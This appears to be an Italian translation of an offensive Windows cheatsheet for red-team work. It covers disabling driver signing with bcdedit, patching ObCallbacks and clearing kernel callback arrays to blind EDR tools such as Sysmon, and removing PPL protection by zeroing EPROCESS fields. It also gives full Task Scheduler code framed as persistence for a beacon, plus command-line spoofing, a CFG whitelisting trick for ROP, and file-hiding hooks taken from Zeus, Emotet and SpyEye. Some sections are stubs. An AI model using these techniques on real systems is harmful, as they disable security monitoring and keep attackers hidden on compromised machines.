Semplice codice di esempio qui : //todo
## Firma dei driver
Come descritto nella sezione [Concetti generali](#general-concepts), i driver devono essere firmati prima di essere installati su un sistema Windows. Nonostante il fatto che tu debba usare qualche exploit di driver o di kernel per aggirarla (il CVE del driver Gigabyte, ad esempio), puoi comunque disabilitarla manualmente:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
Poi riavvia il computer. Ovviamente hai bisogno dei diritti di amministratore locale sulla macchina su cui vuoi eseguire questi comandi. Poiché è necessario un riavvio, questo non è affatto OPSEC.
ObRegisterCallbacks (wdm.h) ti permette di definire "callback" personalizzate che possono essere usate per modificare il comportamento di un'app in modalità utente quando vengono attivate da un'operazione specifica, come CreateProcess/OpenProcess (creazione di handle).
In pratica, le Ob Callback sono definite con un array OB_OPERATION_REGISTRATION, che verrà riempito con strutture OB_CALLBACK_REGISTRATION (compilate con le callback).
Esempio per attivare su OpenProcess/CreateProcess:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks** è una funzione definita dall'utente che verrà chiamata quando il callback verrà intercettato, e quindi può negare o consentire l'operazione.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
Nota : My_PROCESS_ALL_ACCESS può essere definito come #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (codice esadecimale win32).
Come patchare gli ObCallbacks : ci sono diversi modi per patcharli, ma i due modi probabilmente più comuni per raggiungere questo obiettivo sarebbero scrivere una funzione obcallback con uno schema del tipo : "nop-nop-nop-ret", oppure cancellare il puntatore alla funzione obcallback dagli elementi _CALLBACK_ENTRY_ITEM. Si prega di notare che queste tecniche possono effettivamente innescare PatchGuard, quindi fate attenzione quando utilizzate queste tecniche in un engagement reale.
I Kernel Callback sono stati introdotti da Microsoft principalmente per offrire ai produttori di AV/EDR un modo migliore per monitorare e prevenire azioni sospette (Prima di essi, molti prodotti di sicurezza utilizzavano il patching in modalità kernel come gli hook SSDT per fare lo stesso lavoro, ma la nuova protezione PatchGuard li ha vincolati a usare questa nuova soluzione).
Esistono diversi tipi di callback del kernel, in particolare :
- ProcessNotify : chiamato quando un processo viene creato o termina.
- ThreadNotify : chiamato quando un thread viene creato o termina (viene eliminato).
- LoadImageNotify : chiamato quando un'immagine eseguibile viene caricata da un altro eseguibile (esempio : DLL caricata da un processo)
Ognuno di essi ha la sua funzione associata, come PsSetCreateProcessNotifyRoutineEx per impostarli nel proprio driver. Quest'ultima registra una routine di callback quando un nuovo processo viene creato o eliminato nel sistema Windows. Il suo prototipo è definito come segue :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** è un puntatore alla routine di callback che verrà chiamata quando l'evento verrà attivato (qui, processo creato/terminato).
**Remove** è un semplice flag che indica se PsSetCreateProcessNotify registrerà la funzione di callback o la eliminerà (utile nella funzione di pulizia del driver).
La funzione di callback userà questo prototipo :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
dove Process è il processo corrente in fase di creazione/eliminazione, ProcessId è l'id di questo processo e CreateInfo è una struttura che contiene varie informazioni su questo processo.
Quando un driver registra una nuova routine di callback, il suo indirizzo verrà memorizzato in un array solitamente chiamato Pspnome_della_tua_callback. Ad esempio, l'elenco di tutte le funzioni ProcessNotifyRoutine è memorizzato nell'array PspCreateProcessNotifyRoutine.
Per rimuovere tali callback, dovrai semplicemente svuotare questo array!
Purtroppo, l'indirizzo di questo emozionante array non ha un modo diretto per essere recuperato. Fortunatamente, ci sono molti modi per farlo manualmente, cercando offset specifici in memoria.
Una volta trovato l'indirizzo giusto, puoi enumerare tutte le callback registrate e filtrarle per nome del driver (driver Sysmon magari? :)), e rimuovere solo le corrispondenti funzioni di callback dall'elenco.
I Processi Protetti sono stati introdotti con Windows Vista. Possono essere definiti come una struct chiamata EPROCESS (non documentata: https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) che definisce se il processo è protetto o meno tramite tre membri interessanti:``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
Il terzo membro (Protection) è una struct PS_PROTECTION definita come segue :```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
Per rimuovere la protezione PPL, devi impostare SignatureLevel, SectionSignatureLevel e Protection a 0.
Poiché l'offset tra l'indirizzo di base di EPROCESS e PS_PROTECTION è 0x6c8, puoi recuperarlo sommando i due valori.
Codice di esempio : //todo
Nota : Diversi esempi di questa parte sono stati recuperati da : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations
Il modo "convenzionale" di pianificare qualsiasi attività nel sistema operativo Windows richiede l'uso dell'interfaccia grafica (Utilità di pianificazione). Non è molto pratico per noi, dato che spesso otteniamo solo una sessione da riga di comando su un sistema compromesso.
Fortunatamente, l'API Win32 può essere utilizzata per creare tali attività, consentendoti di creare un'ottima persistenza per il tuo beacon, o privesc.
In pratica, devi inizializzare la libreria COM, quindi creare una nuova istanza della classe ITaskService con l'API CoCreateInstance(). Ora puoi modificare il tuo oggetto ITaskService per modificare la cartella radice, l'azione, il tempo e così via. Ecco un esempio qui sotto :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## Spoofing della riga di comando
Funziona perfettamente anche con il monitoraggio di sysmon/process hacker; consente di nascondere i propri argomenti di comando, cosa che può essere utile nelle operazioni di pentest/red team (```powershell -enc .....```)
Per raggiungere questo obiettivo, puoi generare un nuovo processo con argomenti di comando "legittimi" in modalità sospesa, per poi modificarli direttamente nel PEB.
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# Varie
## Convenzione di chiamata x64
- I primi 4 argomenti interi vengono passati nei registri `RCX`, `RDX`, `R8` e `R9`.
- Gli argomenti aggiuntivi vengono inseriti nello stack.
- All'indirizzo di ritorno segue un'area di 32 byte riservata per `RCX`, `RDX`, `R8` e `R9`.
- Le variabili locali e i registri non volatili vengono memorizzati sopra l'indirizzo di ritorno.
- `RBP` non è usato per fare riferimento a variabili locali/argomenti di funzione, e `RSP` rimane costante per tutta la funzione.
> Note:
> - Se una funzione ha un numero variabile di argomenti, deve usare lo stack per passarli
> - Se il valore di ritorno è una struttura, il chiamante è responsabile di allocare lo spazio per il valore di ritorno e di passare un puntatore a quello spazio come primo argomento
> - Il chiamato è responsabile di preservare i valori dei registri `RBX`, `RBP` e `R12`–`R15`, ma può modificare liberamente gli altri registri
> - Lo stack è allineato a un confine di 16 byte nel sito di chiamata
> - Il chiamato è responsabile di ripristinare il puntatore allo stack (`RSP`) al suo valore originale prima di restituire il controllo
## Esecuzione indiretta
L'esecuzione indiretta qui si riferisce a una ROP per ottenere l'esecuzione di determinate attività; dovrai aggiungere i parametri al registro giusto e, per farlo, devi comprendere la [convenzione di chiamata x64](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention).
- Una ROP con la struttura `CONTEXT` richiederà `RtlCaptureContext` per recuperare il contesto corrente e `NtContinue` per continuare l'esecuzione della ROP, con la struct `CONTEXT` come parametro riempita con i giusti argomenti di funzione nei registri corretti. Puoi anche costruire la tua ROP in assembly, se vuoi.
### Bypass di CFG con SetProcessValidCallTargets
Questo non è un vero bypass, ma metterà nella whitelist la funzione che stai usando nella tua ROP (cioè `NtContinue`)```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
Questa tecnica è stata scoperta nel noto malware Emotet. Per generare un nuovo processo PowerShell (destinato a eseguire un payload), utilizza l'API COM con un'istanza WMI. Con questo trucco, il processo PowerShell viene creato come processo figlio del processo WMIPrvSE, che è molto meno sospetto rispetto a essere generato da un eseguibile sospetto o addirittura da un file Word.
Il noto malware Zeus usa un trucco piuttosto ingegnoso per nascondere i suoi log (tasti premuti, password, ecc.) nel sistema compromesso. Aggancia la funzione NtQueryDirectoryFile() per filtrare i risultati visualizzati.```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
Fonte : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Tecnica di hooking del keylogger SpyEye
Il malware SpyEye aggancia la funzione ```TranslateMessage()``` per salvare le sequenze di tasti : la procedura di hook usa la funzione ```GetKeyboardState``` per aggiungere il carattere digitato a un buffer di 20000 byte.
Fonte : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Wannacry KillSwitch
Il ransomware Wannacry ha utilizzato un URL killswitch che veniva risolto prima dell'esecuzione del payload principale. Dopo che questo dominio è stato registrato, tutti i campioni di wannacry sono stati disabilitati. Questa tecnica è stata descritta qui : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
Curiosità: questo dominio era in chiaro, senza alcun offuscamento. Abbastanza divertente:)